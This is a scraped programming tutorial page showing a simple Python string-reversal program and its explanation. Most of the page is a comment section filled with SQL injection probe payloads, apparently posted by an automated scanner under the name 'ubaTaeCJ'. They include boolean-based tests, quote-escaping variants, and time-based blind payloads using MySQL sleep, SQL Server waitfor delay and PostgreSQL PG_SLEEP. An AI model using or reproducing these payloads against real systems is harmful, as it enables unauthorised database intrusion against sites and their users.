# Reverse the String in python

python program to get a String and reverse the characters of the string

Sample Input 1:

Hello

Sample Output 1 :

olleH

#### Program or Solution

``` s1=input("Enter a String:") s2="" j=len(s1)-1 while(j>=0): s2+=s1[j] j-=1 s1=s2 print(s1) ```

#### Program Explanation

visit each location in string s1 from the last location len(l)-1 and append it to s2, finally store s2 in s1 Note: String is immutable, so you cannot modify a character directly in a orginal string.

In this program is very hard to understand. For better understanding, Please provide the videos or tutorial.
##### ubaTaeCJ
-1 OR 2+13-13-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+13-13-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+13-13) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+13-13) --
##### ubaTaeCJ
-1 OR 2+557-557-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+557-557-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+557-557)
##### ubaTaeCJ
-1 OR 3*2>(0+5+557-557)
##### ubaTaeCJ
-1' OR 2+966-966-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+966-966-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+966-966) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+966-966) --
##### ubaTaeCJ
-1' OR 2+203-203-1=0+0+0+1 or '5Mgt904K'='
##### ubaTaeCJ
-1' OR 3+203-203-1=0+0+0+1 or '5Mgt904K'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+203-203) or '5Mgt904K'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+203-203) or '5Mgt904K'='
##### ubaTaeCJ
-1" OR 2+538-538-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+538-538-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+538-538) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+538-538) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
mFV9f5Qw'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 753=(SELECT 753 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
##### ubaTaeCJ
gcmRAo4k' OR 47=(SELECT 47 FROM PG_SLEEP(15))--
##### ubaTaeCJ
dxa46peg') OR 213=(SELECT 213 FROM PG_SLEEP(15))--
##### ubaTaeCJ
6aRluuFz')) OR 450=(SELECT 450 FROM PG_SLEEP(15))--